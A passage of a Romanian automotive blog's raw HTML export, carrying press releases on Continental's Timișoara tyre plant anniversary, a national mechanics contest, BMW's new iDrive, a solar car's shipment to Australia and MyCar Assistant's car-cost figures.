Consiliul Executiv al Continental. Membrii Consiliului au făcut un tur al
fabricii și au fost prezenți la ceremonie, alături de echipa locală de
conducere. Christian Kötz, directorul sectorului de activitate Anvelope și
membru al Consiliului Executiv al Continental, i-a felicitat personal pe colegi
pentru povestea lor de succes, în cadrul unei întâlniri cu angajații.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">„Mă bucur nespus
de mult să mă aflu aici alături de colegii mei din Consiliul Executiv și să
sărbătorim împreună marile realizări ale echipei timișorene. Această aniversare
este o mărturie a 25 de ani de angajament neobosit față de inovație și
excelență. Doresc să adresez un sincer mulțumesc întregii echipe din Timișoara
pentru marea lor dedicare și susținere", a declarat Kötz.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">„Cu cele 300 de
milioane de anvelope produse la Timișoara am echipat echivalentul a aproximativ
75 de milioane de mașini din întreaga lume cu anvelope sigure și de calitate
premium. Sunt foarte mândru de întreaga noastră echipă și aș dori să îi felicit
pe toți cei implicați pentru această mare realizare", a declarat Matthieu
Turlure, directorul fabricii de anvelope Continental din Timișoara.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">În 2023,
Timișoara a devenit un punct central pe harta culturală a Europei prin
activitățile derulate sub umbrela Capitală Europeană a Culturii, iar
angajamentul Continental față de comunitatea locală rămâne neschimbat.
„Călătoria noastră, care se întinde pe parcursul a 25 de ani, ne-a transformat
dintr-o fabrică abia construită într-una dintre cele mai mari fabrici de
producție de anvelope ale Continental. Suntem mândri să ne scriem povestea de
succes în Timișoara și să jucăm un rol vital în creșterea și succesul
orașului”, a explicat Turlure. Continental Anvelope Timișoara susține activ
proiecte de responsabilitate socială în domeniile sănătății, mediului
înconjurător și educației în comunitatea locală.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Fabrica de
anvelope Continental Timișoara este specializată în producția unei game largi
de anvelope atât pentru echipare originală cât și pentru piața de înlocuire,
inclusiv anvelope de ultra-înaltă performanță și anvelope pentru vehicule
utilitare ușoare, cu dimensiuni cuprinse între 13 și 20 de țoli.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Având în vedere
direcția strategică a Continental de a construi toate anvelopele sale cu
materiale 100% sustenabile până cel târziu în 2050 și de a le produce fără
emisii de dioxid de carbon, fabrica din Timișoara vizează, de asemenea, o
producție mai sustenabilă. Producătorul de anvelope premium a investit până în
prezent aproape 16 milioane de euro în proiecte sustenabile, pentru a reduce
impactul fabricii asupra mediului înconjurător. Această investiție cuprinde
extinderea sistemului de Oxidare Termică Regenerativă, care elimină în mod
eficient compușii organici volatili prin oxidare la temperaturi ridicate. În
plus, compania utilizează un sistem suplimentar de tratare a mirosului, denumit
„Oxidare non-termică - Tehnologie cu plasmă rece (oxigen activ)", care
utilizează curenți alternativi pentru a genera un câmp de plasmă care descompune
moleculele de oxigen și apă, neutralizând astfel moleculele de miros formate în
timpul vulcanizării anvelopelor. Aceste măsuri cuprinzătoare subliniază
dedicarea Continental față de responsabilitatea față de mediu și față de
progresul tehnologic continuu în producție.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Sursa:
Continental România</span><span style="font-family: Helvetica, sans-serif;"><o:p></o:p></span></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-28934257972406200542023-09-25T19:17:00.000+03:002023-09-25T19:17:05.383+03:00Bătălia mecanicilor auto: încep înscrierile la Concursul Mecanicul Anului 2023! <p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9_Q5yZ3hsgO7qx6_M293W37Oh7-kqCzVz4ZwHXjAN6rbEvpdQrDIvqM6MY3QvEsorcIl1_TermsAslBJLAZiH31pzyQWG5DNEXYzBxccpP-asRTqTKJiEOsh0Gx5fSI-vbrjqDE_Xj-DLSfk5HCjXbTZhFjsggWgOLBmY5VhDDERgCLBWGeue5Oqlptms/s744/mecanicul-anului-2023.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Concursul Mecanicul Anului 2023" border="0" data-original-height="593" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9_Q5yZ3hsgO7qx6_M293W37Oh7-kqCzVz4ZwHXjAN6rbEvpdQrDIvqM6MY3QvEsorcIl1_TermsAslBJLAZiH31pzyQWG5DNEXYzBxccpP-asRTqTKJiEOsh0Gx5fSI-vbrjqDE_Xj-DLSfk5HCjXbTZhFjsggWgOLBmY5VhDDERgCLBWGeue5Oqlptms/s16000/mecanicul-anului-2023.jpg" title="Bătălia mecanicilor auto: încep înscrierile la Concursul Mecanicul Anului 2023!" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Bătălie strânsă între cei mai iscusiți
reparatori auto din România: încep înscrierile la concursul național Mecanicul
Anului! Competiția durează aproape 2 luni - din mii de concurenți din toată
țara, doar elitele ajung în finală, care va avea loc la Cluj-Napoca pe 18
noiembrie. Ei se bat cu toate armele pentru titlul suprem și marele premiu al
competiției, o mașină Hyundai newi10. Înscrierile sunt deschise până pe data de
3 noiembrie pe site-ul oficial al competiției, www.mecaniculanului.ro. Evenimentul
este organizat de AD Auto Total.</span></b></span></p>
<p class="MsoNormal" style="text-align: justify;"></p><ul><li><span style="font-family: arial;"><span style="color: #1d2228;">Concursul e deschis atât lucrătorilor
esențiali din service-urile auto, cât și </span><span lang="EN-US" style="color: #1d2228;">amatorilor.</span><span lang="EN-GB" style="color: #1d2228;"> </span></span></li><li><span style="font-family: arial;"><span style="color: #1d2228;">4 categorii (mecanică, diagnoză,
vulcanizare sau vopsitorie auto), 2 luni de probe teoretice și
practice</span><span lang="EN-GB" style="color: #1d2228;"> </span></span></li><li><span style="font-family: arial;"><span style="color: #1d2228;">Finala e un show
live incendiar al cărui punct culminat e întrecerea de
la diagnoză: </span><span lang="EN-US" style="color: #1d2228;">2 mașini identice pe scenă, cu aceeași defecțiune, de reparat într-o cursă contra-cronometru.</span><span lang="EN-GB" style="color: #1d2228;"> </span></span></li><li><span style="font-family: arial;"><span lang="EN-US" style="color: #1d2228;">Cel care reușește să pornească primul motorul câștigă titlul de „Mecanicul Anului” și pleacă acasă cu mașina pe
care a reparat-o.</span><span lang="EN-GB" style="color: #1d2228;"> </span></span></li><li><span style="font-family: arial;"><span style="color: #1d2228;">Peste 16,000 de meseriași din toată țara
și-au încercat șansele în cele 11 ediții anterioare ale
competiției, reprezentând aproape 4000 de ateliere de reparații. </span><span lang="EN-GB" style="color: #1d2228;"> </span></span></li></ul><p></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Gabriel Zane, Director Marketing,
AD AUTO TOTAL: </span></b><span style="color: #1d2228;">„AD AUTO TOTAL, lider al pieței
de distribuție de piese auto în România, susține de peste un sfert de secol
profesioniștii din industria reparațiilor auto care excelează
în ceea ce fac. Încurajăm, de asemenea, tinerii pasionați de domeniul
auto să urmeze meserii în această direcție și
să-și dezvolte competențele profesionale necesare. Anul acesta,
la ediția cu numărul 12 a concursului Mecanicul
Anului, în colaborare cu partenerii noștri, furnizori de top de piese
auto, oferim premii în valoare de peste 31.000 de euro,
echipamente și cursuri. Dacă ești pregătit și crezi că poți deveni următorul
campion al industriei de reparații auto, te invităm să
aplici pe <b>www.mecaniculanului.ro</b> până pe 3 noiembrie.”</span><span lang="EN-GB" style="color: #1d2228;"> </span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Cum se desfășoară concursul?</span></b><span style="color: #1d2228;"> <o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"></p><ul><li><span style="font-family: arial;"><b><span style="color: #1d2228;">Etapa I (21 septembrie – 3
noiembrie) </span></b><span style="color: #1d2228;">constă într-un test online<b>: </b>45 de
întrebări în 60 de minute (mecanică și diagnoză), 20 de
întrebări în 20 minute (vopsitorie) și 30 de întrebări în 45 de minute
(vulcanizare).</span><span lang="EN-GB" style="color: #1d2228;"> </span></span></li><li><span style="font-family: arial;"><b><span style="color: #1d2228;">Etapa II are loc doar pentru
secțiunile de Vopsitorie (10 noiembrie), Mecanică și Diagnoză (18
noiembrie).</span></b><span style="color: #1d2228;"> Cei mai buni 2 concurenți
din prima etapă la vulcanizare se califică direct în Finala de la Cluj.
Etapa II de la Vopsitorie reprezintă o probă practică într-un spațiu
de tip service auto.</span><span lang="EN-GB" style="color: #1d2228;"> </span></span></li><li><span style="font-family: arial;"><b><span style="color: #1d2228;">Etapa III (Finala) este și cea mai
spectaculoasă.</span></b><span style="color: #1d2228;"> Va avea loc la Cluj-Napoca, în
complexul Wonderland, pe 18 noiembrie.</span><span lang="EN-GB" style="color: #1d2228;"> </span></span></li></ul><p></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Regulamentul integral e disponibil pe <b>www.mecaniculanului.ro</b></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Adrian Sandu, câștigător MECANICUL
ANULUI, ediția 2022, secțiunea diagnoză 2022: </span></b><span style="color: #1d2228;">„Îi
îndemn pe toți cei care lucrează în domeniul reparațiilor auto și se simt
pregătiți să se înscrie la concurs și să-și încerce puterile în competiția cu
colegii de breaslă din toată țara. Pentru mine, e încununarea supremă a atâtor
zile și nopți de întrebări și căutări pentru a afla care este cauza
ce a dus la apariția defectului și care este cea mai bună soluție de
reparație.”</span><span lang="EN-GB" style="color: #1d2228;"> </span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Bege Hunor, câștigător MECANICUL
ANULUI, ediția 2022, secțiunea mecanică 2022: </span></b><span style="color: #1d2228;">„Am
primit recunoaștere din partea clienților, a familiei și a prietenilor, care
este cea mai mare satisfacție pentru mine. Personal, pot să recomand tuturor
celor care se ocupă cu repararea autovehiculelor să participe la astfel de
concursuri, chiar dacă nu ajung să câștige. Experiența, discuțiile cu
colegi din diferite colțuri ale țării, construirea relațiilor cu
profesioniști și să construiești bazele unor prietenii noi... sunt
niște câștiguri deja. Eu zic că pasionații de autovehicule la un astfel de eveniment
găsesc foarte ușor vocea comună din care pot dezvolta discuții constructive și
nu numai. Fără să participi nu poți câștiga.” </span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Viorel Diaconescu, câștigător
MECANICUL ANULUI, ediția 2022, secțiunea vopsitorie</span></b><span style="color: #1d2228;">:
„Concursul poate fi o promovare în meseria asta, mai ales pentru tineret,
pentru a fi motivați să practice o meserie în viață. În cazul meu, acest premiu
e cea mai mare distincție a mea și m-a făcut să am mai multă încredere în
mine.” </span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Petru Zuga, câștigător Mecanicul anului
2022, secțiunea vulcanizare:</span></b><span style="color: #1d2228;"> „După acest concurs, colegii m-au
lăudat și m-au apreciat, clienții au început să mă vadă mai bine decât
înainte... Mi se pare o experiență interesantă, este un mod prin care poți să
vezi la ce nivel te situezi și cum poți evolua, pentru cei care își doresc
asta.”<o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span lang="EN-US" style="color: #1d2228;">Juriul competiției
este format din trainerii ACADEMIEI AUTO AD AUTO TOTAL, profesioniști care au
la activ mii de ore de formare furnizate mecanicilor și diagnosticienilor din
toată România, și care specializează traineri din întreaga Europă. </span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span lang="EN-GB" style="color: #1d2228;">MECANICUL
ANULUI 2023 </span></b><span lang="EN-GB" style="color: #1d2228;">este un eveniment susț</span><span style="color: #1d2228;">inut
de </span><span lang="EN-US" style="color: #1d2228;">Bosch, Mann Filter, Castrol, Valvoline, Hengst, Varta,
Ate și MEYLE. </span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Bătălia iscusinței și expertizei celor mai
cei dintre mecanici va putea fi urmărita integral pe paginile oficiale de
Facebook AD Auto Total și Mecanicul Anului. </span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span lang="EN-US" style="color: #1d2228;">AD AUTO TOTAL</span></b><span lang="EN-US" style="color: #1d2228;"> s-a
născut din pasiune și dedicație pentru domeniul auto, cu capital 100% românesc.
Beneficiind de o rețea de distribuție rapidă, cu densitate mare, cu prezența și
extindere continuă la nivel internațional, AD AUTO TOTAL este unul dintre
principalii importatori si distribuitori de piese auto din România.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span lang="EN-US" style="color: #1d2228;"><span style="font-family: arial;">Sursa: Mirela Tănasă,
indie.life</span></span><span style="color: #1d2228; font-family: "Helvetica",sans-serif; mso-ansi-language: RO;"><o:p></o:p></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-78312396538067130592023-09-02T14:39:00.001+03:002023-10-26T11:56:16.569+03:00Noul BMW iDrive vine odată cu Neue Klasse, caracterizat de patru elemente centrale<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTS9z9VaPL916MHmX30D2LbUEJ71GY59qmA8837i0t7b3hNoq6Gn4w7lzBiEhEtAzIgAXyqEO8OMMgKC78bCR7o9Dr4e7Ietkm5cOzf-lyefpb3cOpgaNaVmFxxKh7qwB-hLJsULBrrUxjEUk21NORKk4otl63-OsRx1afPpXHdOISl1EX8v8OQZcT6JM8/s744/bmw-idrive.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Noul BMW iDrive" border="0" data-original-height="419" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTS9z9VaPL916MHmX30D2LbUEJ71GY59qmA8837i0t7b3hNoq6Gn4w7lzBiEhEtAzIgAXyqEO8OMMgKC78bCR7o9Dr4e7Ietkm5cOzf-lyefpb3cOpgaNaVmFxxKh7qwB-hLJsULBrrUxjEUk21NORKk4otl63-OsRx1afPpXHdOISl1EX8v8OQZcT6JM8/s16000/bmw-idrive.jpg" title="Noul BMW iDrive vine odată cu Neue Klasse" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">Noul sistem de
afişare şi operare va fi disponibil la Neue Klasse din 2025. +++ BMW Panoramic
Vision îmbunătăţeşte orientarea conducătorului BMW. +++ Experienţă de
utilizator pentru toţi pasagerii.</span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">Cu noul BMW iDrive, BMW Group aduce în
următoarea generaţie de automobile un concept de afişare şi operare care
permite o abordare complet nouă a interacţiunii între conducător şi automobil.
Următorul salt de dezvoltare va debuta cu Neue Klasse din 2025. Viitoarea
generaţie BMW iDrive va transforma automobilul într-un spaţiu al experienţei
digitale. Cu BMW Panoramic Vision, un nou volan multifuncţional, noul ecran
central şi un nou BMW 3D head-up display ca afişaj central şi noi
elemente de operare, experienţa de utilizator BMW este redefinită în modelele
Neue Klasse.</span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Evoluţie naturală BMW iDrive prin noile
tehnologii</span></b><span style="color: #1d2228;"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Următorul salt tehnologic permite un design
interior modern, prietenos, cu accent pe experienţe tactile şi interacţiune
vocală avansată.<o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228; font-family: arial;">BMW iDrive din Neue Klasse este
caracterizat de patru elemente centrale. Noul </span><b style="color: #1d2228; font-family: arial;">BMW Panoramic Vision</b><span style="color: #1d2228; font-family: arial;"> oferă
o abordare nouă a conceptului de orientare către conducătorul BMW şi un nou mod
de afişare a conţinutului pentru toţi pasagerii.</span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">BMW Panoramic Vision se bazează pe o
tehnologie head-up display complet nouă. Proiectează informaţii la o înălţime
perfect adaptată conducătorului pe toată lăţimea parbrizului.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">BMW Panoramic Vision este completat de
noul <b>BMW 3D head-up display</b> pentru situaţii de condus activ,
care afişează informaţiile necesare, cum ar fi condusul asistat sau informaţii
de navigaţie, cu mare precizie ca animaţii 3D în raza vizuală a conducătorului.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Cu noul <b>volan multifuncţional</b>,
conţinutul afişajului BMW Panoramic Vision şi BMW 3D head-up display poate fi
controlat individual conform principiului <b>privirea pe drum, mâinile pe
volan</b>. Operarea este convenabilă şi precisă prin intermediul butoanelor de
pe volan şi este îmbunătăţită de feedback-ul haptic activ şi tehnologia
multistrat.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">BMW iDrive din Neue Klasse se concentrează
pe noul <b>ecran central</b> cu stil caracteristic BMW şi funcţie
tactilă intuitivă. Tehnologia matrix de iluminare de fundal a noului ecran
central asigură o rezoluţie ridicată pentru afişaje, culori vibrante şi
contrast puternic, indiferent de condiţiile de lumină.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Viitorul BMW iDrive va continua să
folosească conceptul QuickSelect introdus în 2023. Sistemul din Neue Klasse se
bazează pe o arhitectură software integrată şi utilizează următoarea
generaţie a sistemului de operare BMW. Conectivitatea inteligentă a
automobilului cu BMW Cloud, precum şi ecosistemul digital al clientului creează
o experienţă captivantă şi aduce o nouă dimensiune a interacţiunii om-maşină,
transformând automobilele Neue Klasse în spaţii de experienţă digitală.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Sursa: BMW România</span><span style="font-family: Helvetica, sans-serif;"><o:p></o:p></span></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-45441766660087957562023-08-30T21:27:00.004+03:002023-08-30T22:13:04.052+03:00Gebrüder Weiss va transporta o mașină solară în Australia<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8TPPEoinDR08WXKYUpG2kyv3-8aT_b3i8AhGiFvcP4v4-kRKrf1h2qt4D0uonSzG4XfJPvdJEq5yuln2TBqHhH4bdnQnbPm7W1xrfdx2abI5Togxv2LMo_cHN9nOPq3uKLZmDNpG7JXNSBVphY1PH5WDR9SCp7PtEiVe0GIQm7iDCItZ-BGd3pilYWmx2/s744/Solarauto-Randering.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Solarauto Randering" border="0" data-original-height="409" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8TPPEoinDR08WXKYUpG2kyv3-8aT_b3i8AhGiFvcP4v4-kRKrf1h2qt4D0uonSzG4XfJPvdJEq5yuln2TBqHhH4bdnQnbPm7W1xrfdx2abI5Togxv2LMo_cHN9nOPq3uKLZmDNpG7JXNSBVphY1PH5WDR9SCp7PtEiVe0GIQm7iDCItZ-BGd3pilYWmx2/s16000/Solarauto-Randering.jpg" title="Gebrüder Weiss va transporta o mașină solară în Australia" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><p class="MsoNormal" style="text-align: justify;"><b><u><span lang="EN-US" style="color: #1d2228;"><span style="font-family: arial;">Partenerul logistic
oficial ajută ETH Zurich în drumul său spre World Solar Challenge 2023 din
Australia.</span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><span lang="EN-US" style="color: #1d2228;"><span style="font-family: arial;">Compania internațională
de logistică Gebrüder Weiss se ocupă de transportul unei mașini solare
inovatoare către Australia pentru echipa aCentauri Solar Racing a
Eidgenössische Technische Hochschule Zurich (ETH). Aici va începe World Solar
Challenge (Provocarea Solară Mondială) la sfârșitul lunii octombrie 2023. În
cadrul acestei curse unice, 31 de echipe vor parcurge cei 3.000 de kilometri
din Darwin, traversând teritoriul australian, până la Adelaide, folosind doar
alimentarea cu energie solară.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span lang="EN-US" style="color: #1d2228;"><span style="font-family: arial;">Pentru a se asigura că
vehiculul de înaltă tehnologie poate ajunge la timp la celălalt capăt al lumii,
Gebrüder Weiss oferă o combinație personalizată de soluții logistice, ce includ
transportul rutier, maritim și aerian.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span lang="EN-US" style="color: #1d2228;"><span style="font-family: arial;">„Din postura de
companie globală de logistică suntem un motor al soluțiilor inteligente de
transport, modelând în mod activ viitorul mobilității”, spune Frank Haas, Head
of Corporate Brand Strategy & Communications la Gebrüder Weiss. „Mașina
solară aCentauri este un model de tehnologie ce are potențialul de a
revoluționa sectorul transporturilor, motiv pentru care sprijinim echipa în
călătoria sa către Australia”, a mai adăugat acesta.<o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228; font-family: arial;">Elevii lucrează la
dezvoltarea și implementarea acestei mașini solare de aproape un an. Proiectată
pentru durabilitate și eficiență energetică maximă, aceasta este emblematică
pentru un viitor în care mediul ocupă centrul atenției. „Desigur, ne-am dori să
câștigăm cursa. Dar ceea ce este la fel de important pentru noi este să avem un
rol activ în dezvoltarea de soluții eficiente, ecologice”, explică Alexandr
Ebnöther, managerul echipei aCentauri. „Cu sprijinul Gebrüder Weiss, putem
demonstra că mașinile alimentate cu energie solară și, prin extensie,
mobilitatea sustenabilă sunt posibile”, a mai afirmat acesta.</span></p>
<p class="MsoNormal" style="text-align: justify;"><span lang="EN-US" style="color: #1d2228;"><span style="font-family: arial;">În acest moment,
Gebrüder Weiss acordă o atenție deosebită motoarelor alternative. De exemplu,
mașina solară aCentauri parcurge prima etapă a călătoriei sale cu camionul cu
hidrogen cu emisii zero al companiei de logistică.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span lang="EN-US" style="color: #1d2228;"><span style="font-family: arial;">Gebrüder Weiss va transmite
informări în mod regulat cu privire la pregătirile și progresul cooperării
printr-o pagină web dedicată (http://www.gw-world.com/solarracing) și prin canalele
de social media.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span lang="EN-US" style="color: #1d2228;">Sursa: </span><span lang="DA" style="color: #1d2228;">Simona Grindeanu</span><span style="color: #1d2228;">, </span><span lang="DA" style="color: #1d2228;">Managing Partner
raspberry communication</span></span><span style="color: #1d2228; font-family: "Helvetica",sans-serif; mso-ansi-language: RO;"><o:p></o:p></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-30901662317543074262023-08-16T13:03:00.004+03:002023-08-16T13:07:47.429+03:00Un român cu salariu mediu muncește în jur de 3 luni doar pentru a plăti cheltuielile anuale ale mașinii personale<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhneWZqHLAR-05ml3YTs5bqC1zOZG2XLT_xoUuA24Jsz1dfEt8oPI0UT1Xc0aq0s_riJ9KJLDcDH2jgQiI-_FyebxHlonZgdXoQVAiwKH1kwg_7n5OUgxHDljO42LFyhWpAhMHPxwb5Iqqct7YA8DQpujIejvxPup0ItwsBH7nsg7b0dqjphWlOevAZxztP/s744/MyCar-Assistant.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="MyCar Assistant" border="0" data-original-height="419" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhneWZqHLAR-05ml3YTs5bqC1zOZG2XLT_xoUuA24Jsz1dfEt8oPI0UT1Xc0aq0s_riJ9KJLDcDH2jgQiI-_FyebxHlonZgdXoQVAiwKH1kwg_7n5OUgxHDljO42LFyhWpAhMHPxwb5Iqqct7YA8DQpujIejvxPup0ItwsBH7nsg7b0dqjphWlOevAZxztP/s16000/MyCar-Assistant.jpg" title="MyCar Assistant: Un român cu salariu mediu muncește în jur de 3 luni doar pentru a plăti cheltuielile anuale ale mașinii personale" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><p class="MsoNormal" style="background: white; text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">Cei
mai grijulii proprietari de autoturisme sunt în Cluj, Bistrița și Dolj.<o:p></o:p></span></span></u></b></p>
<p class="MsoNormal" style="background: white; text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">Potrivit reprezentanților MyCar Assistant,
aplicația românească concepută ca un asistent digital auto complex, un român cu
salariu mediu își alocă veniturile pe aproximativ 3 luni pentru a acoperi
cheltuielile anuale ale unei autoturism de o valoare medie.</span></span></b></p>
<p class="MsoNormal" style="background: white; text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Astfel, pentru a utiliza un autoturism cu o valoare
de aproximativ 10.000 de euro, costurile obligatorii anuale pe care românii
trebuie să le achite includ RCA-ul (1500 lei), ITP-ul (100 lei), rovinieta (100
lei), impozit (100 lei), parcările în funcție de zonă (500 lei), schimbul
anvelopelor de la un sezon la altul (200 lei), spălarea mașinii (250 lei), reviziile
(800 lei) și combustibilul pentru un plin pe lună (4550 lei). În total, peste
8000 de lei, la care se pot adăuga și alte cheltuieli, precum asigurarea CASCO
(1800 lei), achiziționarea de anvelope noi (1400 lei), dar și eventualele
reparații, a căror valoare medie este de 1800 de lei. Pentru a acoperi toate
aceste cheltuieli, un proprietar al unui autovehicul trebuie să scoată din
buzunar peste 13.000 de lei anual, echivalentul a aproximativ 3 salarii medii.</span></span></p>
<p class="MsoNormal" style="background: white; text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">„<i>Mulți șoferi nu țin o evidență centralizată a
documentelor care expiră, precum RCA, ITP sau rovinieta, ajungând să plătească
amenzi care sporesc cheltuielile cu un autovehicul, și așa semnificative pentru
românii cu venituri medii. O aplicație mobilă precum MyCar Assistant poate evita
aceste costuri suplimentare din amenzi, amintindu-le din timp șoferilor de
documentele care expiră și oferindu-le, totodată, o multitudine de
funcționalități și servicii suplimentare</i>”, a declarat Cristian Astaloș, fondator
MyCar Assistant.<o:p></o:p></span></span></p>
<p class="MsoNormal" style="background: white; text-align: justify;"><b style="font-family: arial;"><span style="color: #1d2228;">Printre principalele documente pe care
utilizatorii le stochează în aplicația MyCar Assistant</span></b><span style="color: #1d2228; font-family: arial;">,</span><b style="font-family: arial;"><span style="color: #1d2228;"> </span></b><span style="color: #1d2228; font-family: arial;">pentru a fi notificați din timp de statusul acestora,
se numără RCA-ul, 39% dintre useri având asigurarea obligatorie înregistrată în
contul personal, ITP-ul, 19% dintre utilizatori alegând să introducă în
aplicație datele certificatului de inspecție tehnică periodică, rovinieta,
stocată de 18% dintre useri, permisul de conducere, înregistrat de 8% dintre
utilizatori, dar și buletinul (8%), CASCO (3%) sau reviziile (2%), evitând
astfel surprizele și eventualele amenzi.</span></p>
<p class="MsoNormal" style="background: white; text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">MyCar Assistant oferă șoferilor și o evidență
detaliată și structurată a cheltuielilor pe care le fac privind mentenanța,
ponderea costurilor de întreținere ale unui autoturism fiind împărțită între
mentenanță (63%) și reparații (37%). Cele mai înregistrate operațiuni de
service sunt schimburile de uleiuri și filtre, pentru care se alocă în jur de
450 de lei. Urmează schimbarea și reparațiile anvelopelor (850 lei),
distribuția (2050 lei), sistemul de suspensii (1825 lei) și discurile/plăcuțele
de frână (1435 lei).</span></span></p>
<p class="MsoNormal" style="background: white; text-align: justify;"><b style="mso-bidi-font-weight: normal;"><span style="color: #1d2228;"><span style="font-family: arial;">Topul celor mai grijulii șoferi din România<o:p></o:p></span></span></b></p>
<p class="MsoNormal" style="background: white; text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Șoferii din Cluj se situează pe primul loc în topul celor
mai grijulii proprietari care introduc în aplicație istoricul de mentenanță al
autoturismelor, fiind urmați de cei din județele Bistrița, Dolj, Argeș, Arad și
București. La polul opus, se află șoferii din județele Satu Mare, Călărași și
Teleorman.</span></span></p>
<p class="MsoNormal" style="background: white; text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">MyCar
Assistant este o aplicație gratuită pentru persoanele fizice, dar și pentru
companii până la un număr de 5 autovehicule înregistrate și este disponibilă
pentru descărcare din App Store, Google Play sau prin aplicația web my-car.co pentru
laptop-uri sau tablete.</span></span></p>
<p class="MsoNormal" style="background: white; text-align: justify;"><b style="mso-bidi-font-weight: normal;"><span style="color: #1d2228;"><span style="font-family: arial;">Despre MyCar Assistant<o:p></o:p></span></span></b></p>
